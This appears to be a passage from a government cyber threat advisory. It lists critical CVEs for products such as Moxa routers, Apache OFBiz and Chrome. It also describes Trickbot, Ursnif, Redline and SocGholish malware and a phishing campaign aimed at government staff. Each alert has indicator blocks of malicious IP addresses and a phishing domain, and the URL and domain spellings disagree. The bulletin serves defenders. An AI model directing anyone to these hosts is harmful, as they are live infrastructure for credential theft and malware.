CVE ID: CVE-2024-6209 (Critical), CVE-2024-6298 (Critical), CVE-2024-6515 (Critical), CVE-2024-6516, CVE-2024-6784, CVE-2024-48843, CVE-2024-48844 (High), CVE-2024-48845 (Critical), CVE-2024-48846 (High), CVE-2024-48847 (High), CVE-2024-48839 (Critical), CVE-2024-48840 (Critical), CVE-2024-51541 (High), CVE-2024-51542 (High), CVE-2024-51543 (High), CVE-2024-51544 (High), CVE-2024-51545 (Critical), CVE-2024-51546 (High), CVE-2024-51548 (Critical), CVE-2024-51549 (Critical), CVE-2024-51550 (Critical), CVE-2024-51551 (Critical), CVE-2024-51554 (Critical), CVE-2024-51555 (Critical), CVE-2024-11316 (High), CVE-2024-11317 (Critical)

**Moxa Security Updates**

Moxa has released security updates to address privilege escalation and OS command injection vulnerabilities in its cellular routers, secure routers, and network security appliances.

CVE ID: CVE-2024-9140 (Critical), CVE-2024-9138 (High)

**Vulnerability in GroupMe**

An improper access control vulnerability has been discovered GroupMe that allows an a unauthenticated attacker to elevate privileges over a network.

CVE ID: CVE-2024-38183 (Critical)

**Vulnerability in Loomio**

An arbitrary command execution vulnerability has been discovered in Loomio. The affected version is Loomio version 2.22.

CVE ID: CVE-2024-1297 (Critical)

**Vulnerability in Progress Telerik UI**

An insecure deserialization vulnerability has been discovered in Progress Telerik UI for WPF. The affected versions are Progress Telerik UI for WPF versions prior to 2024 Q4 (2024.4.1213).

CVE ID: CVE-2024-10095 (Critical)

**Vulnerability in Apache OFBiz**

An incorrect authorization vulnerability has been discovered in Apache OFBiz. The affected versions are Apache OFBiz: through 18.12.14.

CVE ID: CVE-2024-38856 (Critical)

**Vulnerability in Apache OFBiz**

A path traversal vulnerability has been discovered in Apache OFBiz. The affected versions are Apache OFBiz: through 18.12.13.

CVE ID: CVE-2024-32113 (Critical)

**Vulnerability in Google Chrome**

A use after free vulnerability has been discovered in ANGLE for Google Chrome. The affected versions are ANGLE for Google Chrome prior to 124.0.6367.155.

CVE ID: CVE-2024-4558 (Critical)

**Vulnerability in TOTOLink**

A buffer overflow vulnerability has been discovered in TOTOLink. The affected versions are TOTOLink X5000R V9.1.0u.6118-B20201102 and A7000R V9.1.0u.6115-B20201022.

CVE ID: CVE-2024-28639 (Critical)

1. **TA-MAW-2025-01-14-013**

The credential and information stealing Trickbot malware, primarily spreads through spam emails containing malicious URLs or weaponized attachments. Once downloaded, it connects to a Command and Control (C2) server to upload the victim's data and receive instructions for various follow-on activities. The malware spreads across networks by brute-forcing usernames and passwords, sending malspam that originated from the infected user’s account, and leveraging the EternalBlue exploit to attack unpatched systems.

**Impacts:**

* Banking Trojan and Botnet: Initially designed to steal banking credentials, Trickbot evolved into a highly modular botnet used for a range of malicious activities, including credential theft, ransomware deployment, and spreading malware.
* Ransomware Delivery: Trickbot is often used as a precursor to ransomware attacks, delivering ransomware payloads like Ryuk or Conti after the initial infection.
* Lateral Movement: It can move laterally within infected networks, compromising multiple machines and exfiltrating sensitive data.
* Credential Harvesting: Trickbot steals credentials from browsers, email clients, and other applications, often leading to further compromise of systems.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Address:**

27.109.116.144

103.201.142.30

175.184.232.234

177.190.76.82

41.77.134.250

196.41.57.46

96.9.77.142

34.249.180.228

79.125.7.88

54.194.166.138

54.75.207.238

159.65.6.6

194.87.94.14

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-MAW-2025-01-14-012**

Ursnif, also known as Gozi, is a Banking Trojan. Its variants also include components such as backdoors, spyware, file injectors, capable of a wide variety of behaviors.

**Impacts:**

* Banking Trojan: Ursnif is specialized in stealing banking information, including login credentials, credit card numbers, and transaction data.
* Credential Harvesting: Steals credentials from email accounts, VPN clients, and web browsers.
* Persistence Mechanisms: Uses various techniques to persist in systems and avoid detection, including injecting malicious code into legitimate processes.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

3.115.86.44

3.1.63.204

159.65.6.6

52.221.92.67

87.106.18.141

217.26.60.200

13.251.16.150

18.178.237.95

83.218.160.14

91.195.240.85

185.222.58.82

185.222.57.76

185.222.58.240

147.45.67.77

185.222.58.80

185.222.58.87

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-14-014**

It has been observed that Redline stealer malware, written in C#, has been designed to steal passwords, credit card information, and other sensitive data stored in web browsers. Adversary can also collect details about the infected system’s environment in order to facilitate secondary attacks such as privilege escalation and maintaining persistence. Redline Stealer is typically distributed through phishing campaigns, malicious advertisements, and bundled with cracked software, highlighting the risks of downloading unverified software from the internet.

**Impacts:**

* Information Stealer: Redline focuses on harvesting a wide range of sensitive information, including login credentials, browser data, cryptocurrency wallets, and system information.
* Credential Theft: It can steal passwords stored in web browsers, email clients, and FTP clients, leading to potential data breaches and identity theft.
* Dark Web Activity: Stolen data is often sold on dark web forums, making it a lucrative tool for cybercriminals.
* Remote Access and Surveillance: Redline may allow attackers to remotely control infected systems, exfiltrating more data.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

147.45.67.77

150.241.105.82

185.159.129.54

185.222.58.80

185.222.58.82

193.37.71.131

212.233.122.234

80.66.89.157

80.66.89.228

212.87.215.19

185.222.58.87

45.137.22.250

163.172.62.5

147.45.67.15

185.222.57.74

185.222.57.93

185.222.58.240

185.222.58.84

185.222.58.90

185.81.68.147

147.45.44.224

45.137.22.254

62.68.75.70

147.45.67.12

13.60.40.107

194.59.30.189

185.222.57.90

213.248.43.127

89.23.97.121

185.222.57.81

185.222.57.76

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-14-015**

Drive-by compromise can occur when users unknowingly download malware from a malicious website or advertisement masquerading as a legitimate one. When victims visit these sites, malicious JavaScript executes, often tricking into believing need to perform a fake browser update. This script collects information about the victim's browser and system before prompting a download. If victims fall for the use and execute the download, Socgholish installs itself on their computer, potentially leading to data theft or further malware infections.

**Impacts:**

* Web-Based Malware: SocGholish primarily spreads through compromised websites and serves fake updates (e.g., fake Flash or browser updates).
* Drive-by Downloads: Can result in the downloading of further malware, including Remote Access Trojans (RATs) and ransomware.
* Malvertising Campaigns: Often integrated into malicious advertisements on legitimate websites.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

45.130.201.24

34.96.205.106

185.187.241.36

31.220.15.143

5.101.115.147

103.230.48.78

93.190.41.79

54.36.145.173

81.173.194.3

103.165.154.15

145.239.23.7

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-15-008**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email contains a hyperlink with the title "https://email.gov.in/?cancel-request". Upon clicking the hyperlink, it opens the phishing page of the NIC login page and seeks for username and password. The IP addresses and domain are malicious and currently active to potentially compromise the user credentials/propagate malware payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:-**

https://ail-govs.icu

**Domain:-**

ali-govs.icu

**IPs:-**

104.21.10.120

188.114.96.3

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*